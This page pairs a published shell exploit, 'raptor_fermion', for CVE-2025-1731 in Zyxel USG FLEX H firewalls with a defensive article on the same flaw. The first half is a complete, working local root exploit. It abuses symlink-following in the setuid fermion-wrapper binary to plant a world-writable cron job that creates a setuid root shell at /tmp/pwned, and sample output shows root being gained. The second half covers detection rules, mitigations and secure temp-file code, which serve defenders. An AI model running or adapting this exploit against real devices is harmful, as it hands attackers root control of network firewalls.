Zyxel USG FLEX H series uOS 1.31 - Privilege Escalation

Exploit Author: Marco Ivaldi Analysis Author: www.bubbleslearn.ir Category: Local Language: Python Published Date: 2025-05-18
# Exploit Title: Zyxel USG FLEX H series uOS 1.31 - Privilege Escalation 
# Date: 2025-04-23
# Exploit Author: Marco Ivaldi
# Vendor Homepage: https://www.zyxel.com/
# Version: Zyxel uOS V1.31 (see
https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-=
=3D
advisory-for-incorrect-permission-assignment-and-improper-privilege-managem=
=3D
ent-vulnerabilities-in-usg-flex-h-series-firewalls-04-22-2025)
# Tested on: Zyxel FLEX100H with Firmware V1.31(ABXF.0) and Zyxel
FLEX200H with Firmware V1.31(ABWV.0)
# CVE: CVE-2025-1731

#!/bin/sh

#
# raptor_fermion - Zyxel fermion-wrapper root LPE exploit
# Copyright (c) 2025 Marco Ivaldi <raptor@0xdeadbeef.info>
#
# "So we wait, this is our labour... we wait." 
#               -- Anthony Swofford on fuzzing
#
# The setuid root binary program `/usr/sbin/fermion-wrapper` distributed by 
# Zyxel with some of their appliances follows symbolic links in the `/tmp` 
# directory when run with the `register-status` argument. This allows local 
# users with access to a Linux OS shell to trick the program into creating 
# writable files at arbitrary locations in the filesystem. This vulnerability 
# can be exploited to overwrite arbitrary files or locally escalate privileges
# from low-privileged user (e.g., `postgres`) to root.
#
# Note: the `/tmp` directory doesn't have the sticky bit set, which simplifies
# exploitation of this vulnerability and may also cause all sorts of havoc.
#
# ## Vulnerability information
#
# * CVE ID - CVE-2025-1731
# * High - 7.8 - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
# * CWE-61 - https://cwe.mitre.org/data/definitions/61.html
#
# ## Relevant links
#
# * https://github.com/hnsecurity/vulns/blob/main/HNS-2025-10-zyxel-fermion.txt
# * https://security.humanativaspa.it/local-privilege-escalation-on-zyxel-usg-flex-h-series-cve-2025-1731
# * https://0xdeadc0de.xyz/blog/cve-2025-1731_cve-2025-1732
# * https://security.humanativaspa.it/tag/zyxel/
#
# ## Usage example
#
# ```
# $ ./raptor_fermion
# raptor_fermion - Zyxel fermion-wrapper root LPE exploit
# Copyright (c) 2025 Marco Ivaldi <raptor@0xdeadbeef.info>
# 
# [*] Exploiting /usr/sbin/fermion-wrapper
# $ uname -a
# Linux FLEX100H-HackerHood 4.14.207-10.3.7.0-2 #5 SMP PREEMPT Thu Jan 9 04:34:58 UTC 2025 aarch64 GNU/Linux
# $ id
# uid=502(postgres) gid=502(postgres) groups=502(postgres)
# $ ls -l /usr/sbin/fermion-wrapper
# -rwsr-xr-x 1 root root 44288 Jan  9 05:34 /usr/sbin/fermion-wrapper
# {"status": 0, "registered": 1, "nebula_registered": 1, "bundle": 1}
# 
# [+] Everything looks good \o/, wait an hour and check /tmp/pwned
# $ ls -l /etc/cron.d/runme
# -rw-rw-rw- 1 root postgres 79 Feb 14 15:52 /etc/cron.d/runme
# $ cat /etc/cron.d/runme
# * * * * *   cp /bin/sh /tmp/pwned; chmod 4755 /tmp/pwned; rm /etc/cron.d/runme
# 
# [+] Run the shell as follows to bypass bash checks: /tmp/pwned -p
#
# [about one hour later...]
# 
# $ ls -l /tmp/pwned
# -rwsr-xr-x 1 root root 916608 Feb 14 16:25 /tmp/pwned
# $ /tmp/pwned -p
# # id
# uid=502(postgres) gid=502(postgres) euid=0(root) groups=502(postgres)
# # R00t D4nc3!!!111! \o/
# ```
#
# ## Tested on
#
# * Zyxel FLEX100H with Firmware V1.31(ABXF.0) | 2025-01-09 04:35:47
# * Zyxel FLEX200H with Firmware V1.31(ABWV.0) | 2025-01-09 05:11:31
#
# *Note: other products and firmware versions may also be vulnerable.*
#
# ## Special thanks
#
# * Alessandro Sgreccia (@rainpwn) of HackerHood for his research and devices
#

echo "raptor_fermion - Zyxel fermion-wrapper root LPE exploit"
echo "Copyright (c) 2025 Marco Ivaldi <raptor@0xdeadbeef.info>"
echo

target="/usr/sbin/fermion-wrapper"
tmpfile="/tmp/register_status"
runme="/etc/cron.d/runme"
shell="/tmp/pwned"

echo "[*] Exploiting $target"
echo "$ uname -a"
uname -a
echo "$ id"
id
echo "$ ls -l $target"
ls -l $target

umask 0
rm $tmpfile
ln -s $runme /tmp/register_status
$target register-status
echo "* * * * *   cp /bin/sh $shell; chmod 4755 $shell; rm $runme" > $runme

if [ "`cat $runme 2>/dev/null`" = "" ]; then
echo "[!] Error: something went wrong ¯\\_(ツ)_/¯"
exit 1
fi

echo
echo "[+] Everything looks good \\o/, wait an hour and check $shell"
echo "$ ls -l $runme"
ls -l $runme
echo "$ cat $runme"
cat $runme

echo
echo "[+] Run the shell as follows to bypass bash checks: $shell -p"
echo


Zyxel USG FLEX H series uOS 1.31 — Privilege Escalation (CVE-2025-1731)

This article explains the root cause, impact, detection, and mitigation for CVE-2025-1731 — a local privilege escalation issue affecting certain Zyxel USG FLEX H series devices running uOS V1.31. The goal is to give system owners, administrators, and defenders high‑quality, actionable defensive guidance without providing exploit recipes.

Summary

In affected firmware, a setuid root helper binary follows symbolic links in an unsecured temporary location when invoked with a particular argument. Because /tmp lacked the sticky bit and low‑privileged local accounts could write there, an attacker with a local shell could leverage predictable file creation and symlink races to place writable files at arbitrary paths (for example, in /etc/cron.d). That chain can be used to achieve root privileges locally. Vendor advisory and CVE: CVE-2025-1731.

ItemDetails
CVECVE-2025-1731
SeverityHigh (CVSS v3.1 7.8 — Local Attack, Low Complexity)
Root cause (high level)Unsafe handling of temporary files (symlink following) by a setuid root binary; writable, non‑sticky /tmp; improper privilege/permission management.
AffectedUSG FLEX H series running uOS V1.31 (confirmed on FLEX100H, FLEX200H builds listed in vendor advisory). See vendor advisory for official list of impacted builds.

High‑level technical explanation (non‑actionable)

The vulnerable binary runs with elevated privileges (setuid root) and performs operations that create or manipulate files in /tmp without protections against symlink attacks (for example, not using O_NOFOLLOW/O_EXCL or not checking that a temporary path is a regular file owned by the process after creation). Because /tmp was writable and lacked the sticky bit, local, low‑privilege users could replace or point temporary file names at critical system paths (for example files in /etc/cron.d) and thus cause the privileged binary to create or overwrite files in protected locations. Those overwritten files could then be used to run arbitrary code as root (for instance, a cron job creating a setuid shell).

Impact

  • Local privilege escalation: a local low‑privileged account that already has shell access on the device can obtain root.
  • Potential persistence and system compromise via modification of cron, init scripts or creation of setuid binaries.
  • Loss of confidentiality, integrity and availability on affected devices.

Indicators of Compromise (IoCs) & Detection

  • Unexpected files or cron entries in /etc/cron.d or other system init locations that were recently created/modified by non‑root users.
  • Presence of unknown setuid binaries in /tmp or other writable locations (e.g., files with mode 4755 not normally present).
  • Execution records for the privileged helper (check command‑line or audit logs) indicating it was invoked with unusual arguments.
  • Authentication and shell logs showing local users with unusual activity or escalation attempts.

Example detection rules (defensive only):

# Audit execution of the privileged helper and flag use
auditctl -w /usr/sbin/fermion-wrapper -p x -k fermion_wrapper_exec

# Watch for creation of new setuid files under /tmp (log only)
auditctl -a always,exit -F dir=/tmp -F perm=wa -k tmp_write

Explanation: the first rule records executions of the specific helper binary (adjust path/name to match your device). The second monitors write activity in /tmp to detect unexpected file creation. Use your platform's audit, EDR, or syslog capabilities; adjust policies to avoid excessive noise. These rules are defensive and intended for monitoring, not exploitation.

Short‑term mitigations (immediate, defensive)

  • Apply vendor patches immediately. The primary mitigation is to install Zyxel's official firmware patch or hotfix for affected models as released in the vendor advisory.
  • Restrict local user access: disable or limit shell and console access for accounts that do not require it (for example, services accounts such as postgres or other app accounts).
  • Harden /tmp: ensure /tmp has the sticky bit set (mode 1777) so that users cannot remove or rename other users' files. Example (admin action): chmod 1777 /tmp.
  • Correct file permissions on critical directories and files (e.g., /etc/cron.d should be root‑owned and not world‑writable). Review file ownership and modes and restore appropriate values.
  • Consider removing the setuid bit from the helper if you can accept functional impact until a patch is applied: chmod u-s /usr/sbin/fermion-wrapper. Test impact on services before deploying widely.

Note: The above commands are administrative remediation steps; validate on a test device before mass rollout and coordinate with vendor guidance.

Long‑term mitigations and hardening

  • Enforce least privilege for local service accounts (don't allow shell access for accounts that do not need it).
  • Enable and tune host-based integrity monitoring (FIM) for critical system paths (for example, /etc, /usr/sbin, /tmp) and alert on mode/owner changes and new setuid files.
  • Harden temporary file creation in native code: require use of secure APIs (mkstemp, O_EXCL|O_NOFOLLOW, openat with proper flags) and validate ownership and file type after creation.
  • Adopt secure configuration management for OS/platform images and ensure periodic firmware updates.

Secure coding snippet: safe temporary file creation (illustrative)

/* C example (conceptual): open a temporary file safely using O_CREAT|O_EXCL|O_NOFOLLOW */#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int create_temp_safe(const char *dir, char *template) {
    char path[PATH_MAX];
    snprintf(path, sizeof(path), "%s/%s", dir, template); // template must contain X's from mkstemp
    int fd = open(path, O_RDWR | O_CREAT | O_EXCL | O_NOFOLLOW, 0600);
    if (fd == -1) {
        perror("open");
        return -1;
    }
    /* Additional checks: fstat to ensure regular file, fchown/fchmod if needed */    return fd;
}

Explanation: this illustrative C snippet demonstrates creating a temporary file with flags that avoid following symlinks (O_NOFOLLOW) and avoid races (O_EXCL). Production code should also check the return values, validate the created file is a regular file, and restrict ownership and mode appropriately. Use platform APIs (mkstemp, openat) designed for secure temporary file handling.

Safe temporary file creation in Python (recommended for scripts)

import tempfile
# Create a temporary file in a safe manner; the file is created atomically.
with tempfile.NamedTemporaryFile(dir='/tmp', delete=False) as f:
    filename = f.name
    f.write(b"example")
    # set strict permissions if needed
    import os
    os.chmod(filename, 0o600)

Explanation: Python's tempfile module uses secure system calls (mkstemp) to create temporary files without predictable name races. After creation, adjust ownership and permissions as required.

Incident response checklist

  • Quarantine the device from untrusted networks if compromise is suspected.
  • Collect volatile artifacts: process lists, open network connections, running cron jobs, /tmp contents, audit logs, and system logs.
  • Search for recent additions to /etc/cron.d and unexpected SUID binaries (find / -perm -4000 -type f).
  • Restore from known good backups if root compromise is confirmed, and rebuild the device firmware using vendor‑provided images.
  • Rotate credentials and secrets that were stored or accessible on the device; assume local root compromise may have exposed secrets.

References and resources

  • Vendor advisory (official): check Zyxel security advisory page for the full advisory and firmware updates.
  • CVE: CVE-2025-1731 (reference for tracking).
  • Secure temporary file handling: documentation for mkstemp, open(2) flags (O_NOFOLLOW, O_EXCL), and platform audit subsystems.

Final recommendations

  • Prioritize installing the vendor patch or upgraded firmware from Zyxel.
  • Until patched, apply short‑term mitigations: restrict local accounts, enforce sticky bit on /tmp, and monitor for IOCs.
  • Review software that runs setuid and ensure it follows secure file handling patterns; add auditing and FIM to detect anomalous changes.